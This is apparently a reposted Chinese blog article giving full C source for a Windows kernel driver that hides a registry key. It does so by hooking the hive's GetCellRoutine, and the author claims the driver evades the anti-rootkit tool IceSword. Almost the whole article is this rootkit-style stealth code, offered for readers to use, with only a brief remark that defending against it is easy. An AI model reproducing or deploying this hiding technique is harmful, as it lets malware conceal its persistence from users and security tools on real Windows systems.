您现在的位置是:首页 > 文章详情

一段隐藏注册表项的代码

日期:2007-07-22点击:864
发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

#include  < ntddk.h >

#define  GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define  CM_KEY_INDEX_ROOT      0x6972          //  ir
#define  CM_KEY_INDEX_LEAF      0x696c          //  il
#define  CM_KEY_FAST_LEAF       0x666c          //  fl
#define  CM_KEY_HASH_LEAF       0x686c          //  hl

//  一些CM的数据结构,只列出用到的开头部分
#pragma pack( 1 )
typedef 
struct  _CM_KEY_NODE {
       USHORT Signature;
       USHORT Flags;
       LARGE_INTEGER LastWriteTime;
       ULONG Spare;               
//  used to be TitleIndex
       HANDLE Parent;
       ULONG SubKeyCounts[
2 ];      //  Stable and Volatile
       HANDLE SubKeyLists[ 2 ];      //  Stable and Volatile
       
//  ...
} CM_KEY_NODE,  * PCM_KEY_NODE;

typedef 
struct  _CM_KEY_INDEX {
       USHORT Signature;
       USHORT Count;
       HANDLE List[
1 ];
} CM_KEY_INDEX, 
* PCM_KEY_INDEX;

typedef 
struct  _CM_KEY_BODY {
       ULONG Type;                
//  "ky02"
       PVOID KeyControlBlock;
       PVOID NotifyBlock;
       PEPROCESS Process;         
//  the owner process
       LIST_ENTRY KeyBodyList;  //  key_nodes using the same kcb
} CM_KEY_BODY,  * PCM_KEY_BODY;

typedef PVOID (__stdcall 
* PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef 
struct  _HHIVE {
       ULONG Signature;
       PGET_CELL_ROUTINE GetCellRoutine;
       
//  ...
} HHIVE,  * PHHIVE;
#pragma pack()

//  需隐藏的主键名
WCHAR g_HideKeyName[]  =  L " //Registry//Machine//SYSTEM//CurrentControlSet//Services//Beep " ;

PGET_CELL_ROUTINE g_pGetCellRoutine 
=  NULL;
PGET_CELL_ROUTINE
*  g_ppGetCellRoutine  =  NULL;

PCM_KEY_NODE g_HideNode 
=  NULL;
PCM_KEY_NODE g_LastNode 
=  NULL;

//  打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
       NTSTATUS status;
       UNICODE_STRING uKeyName;
       OBJECT_ATTRIBUTES oa;
       HANDLE hKey;

       RtlInitUnicodeString(
& uKeyName, pwcsKeyName);
       InitializeObjectAttributes(
& oa,  & uKeyName, OBJ_CASE_INSENSITIVE  |  OBJ_KERNEL_HANDLE, NULL, NULL);
       status 
=  ZwOpenKey( & hKey, KEY_READ,  & oa);
       
if  ( ! NT_SUCCESS(status))
       {
           DbgPrint(
" ZwOpenKey Failed: %lx/n " , status);
           
return  NULL;
       }

       
return  hKey;
}

//  获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
       NTSTATUS status;
       PCM_KEY_BODY KeyBody;
       PVOID KCB;

       
if  (hKey  ==  NULL)  return  NULL;

       
//  由Key句柄获取对象体
       status  =  ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode,  & KeyBody, NULL);
       
if  ( ! NT_SUCCESS(status))
       {
           DbgPrint(
" ObReferenceObjectByHandle Failed: %lx/n " , status);
           
return  NULL;
       }

       
//  对象体中含有KeyControlBlock
       KCB  =  KeyBody -> KeyControlBlock;
       DbgPrint(
" KeyControlBlock = %lx/n " , KCB);

       ObDereferenceObject(KeyBody);

       
return  KCB;
}

//  获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
       
//  获取父键的节点
       PCM_KEY_NODE ParentNode  =  (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node -> Parent);
       
//  获取子键的索引
       PCM_KEY_INDEX Index  =  (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode -> SubKeyLists[ 0 ]);

       DbgPrint(
" ParentNode = %lx/nIndex = %lx/n " , ParentNode, Index);

       
//  如果为根(二级)索引,获取最后一个索引
        if  (Index -> Signature  ==  CM_KEY_INDEX_ROOT)
       {
           Index 
=  (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index -> List[Index -> Count - 1 ]);
           DbgPrint(
" Index = %lx/n " , Index);
       }

       
if  (Index -> Signature  ==  CM_KEY_FAST_LEAF  ||  Index -> Signature  ==  CM_KEY_HASH_LEAF)
       {
           
//  快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
            return  g_pGetCellRoutine(Hive, Index -> List[ 2 * (Index -> Count - 1 )]);
       }
       
else
       {
           
//  一般叶索引,返回最后的节点
            return  g_pGetCellRoutine(Hive, Index -> List[Index -> Count - 1 ]);
       }
}

//  GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
       
//  调用原函数
       PVOID pRet  =  g_pGetCellRoutine(Hive, Cell);
       
if  (pRet)
       {
           
//  返回的是需要隐藏的节点
            if  (pRet  ==  g_HideNode)
           {
               DbgPrint(
" GetCellRoutine(%lx, %08lx) = %lx/n " , Hive, Cell, pRet);
               
//  查询、保存并返回其父键的最后一个子键的节点
               pRet  =  g_LastNode  =  (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
               DbgPrint(
" g_LastNode = %lx/n " , g_LastNode);
               
//  隐藏的正是最后一个节点,返回空值
                if  (pRet  ==  g_HideNode) pRet  =  NULL;
           }
           
//  返回的是先前保存的最后一个节点
            else   if  (pRet  ==  g_LastNode)
           {
               DbgPrint(
" GetCellRoutine(%lx, %08lx) = %lx/n " , Hive, Cell, pRet);
               
//  清空保存值,并返回空值
               pRet  =  g_LastNode  =  NULL;
           }
       }
       
return  pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
       DbgPrint(
" DriverUnload()/n " );
       
//  解除挂钩
        if  (g_ppGetCellRoutine)  * g_ppGetCellRoutine  =  g_pGetCellRoutine;
       
return  STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
       ULONG BuildNumber;
       ULONG KeyHiveOffset;       
//  KeyControlBlock->KeyHive
       ULONG KeyCellOffset;        //  KeyControlBlock->KeyCell
       HANDLE hKey;
       PVOID KCB, Hive;

       DbgPrint(
" DriverEntry()/n " );

       pDrvObj
-> DriverUnload  =  DriverUnload;

       
//  查询BuildNumber
        if  (PsGetVersion(NULL, NULL,  & BuildNumber, NULL))  return  STATUS_NOT_SUPPORTED;
       DbgPrint(
" BuildNumber = %d/n " , BuildNumber);

       
//  KeyControlBlock结构各版本略有不同
       
//  Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
        switch  (BuildNumber)
       {
           
case   2195 :      //  Win2000
               KeyHiveOffset  =   0xc ;
               KeyCellOffset 
=   0x10 ;
               
break ;
           
case   2600 :      //  WinXP
            case   3790 :      //  Win2003
               KeyHiveOffset  =   0x10 ;
               KeyCellOffset 
=   0x14 ;
               
break ;
           
default :
               
return  STATUS_NOT_SUPPORTED;
       }

       
//  打开需隐藏的键
       hKey  =  OpenKeyByName(g_HideKeyName);
       
//  获取该键的KeyControlBlock
       KCB  =  GetKeyControlBlock(hKey);
       
if  (KCB)
       {
           
//  由KCB得到Hive
           PHHIVE Hive  =  (PHHIVE)GET_PTR(KCB, KeyHive);
           
//  GetCellRoutine在KCB中,保存原地址
           g_ppGetCellRoutine  =   & Hive -> GetCellRoutine;
           g_pGetCellRoutine 
=  Hive -> GetCellRoutine;
           DbgPrint(
" GetCellRoutine = %lx/n " , g_pGetCellRoutine);
           
//  获取需隐藏的节点并保存
           g_HideNode  =  (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
           
//  挂钩GetCell例程
           Hive -> GetCellRoutine  =  MyGetCellRoutine;
       }
       ZwClose(hKey);

       
return  STATUS_SUCCESS;
}
 
原文链接:https://yq.aliyun.com/articles/453467
关注公众号

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。

持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。

文章评论

共有0条评论来说两句吧...

文章二维码

扫描即可查看该文章

点击排行

推荐阅读

最新文章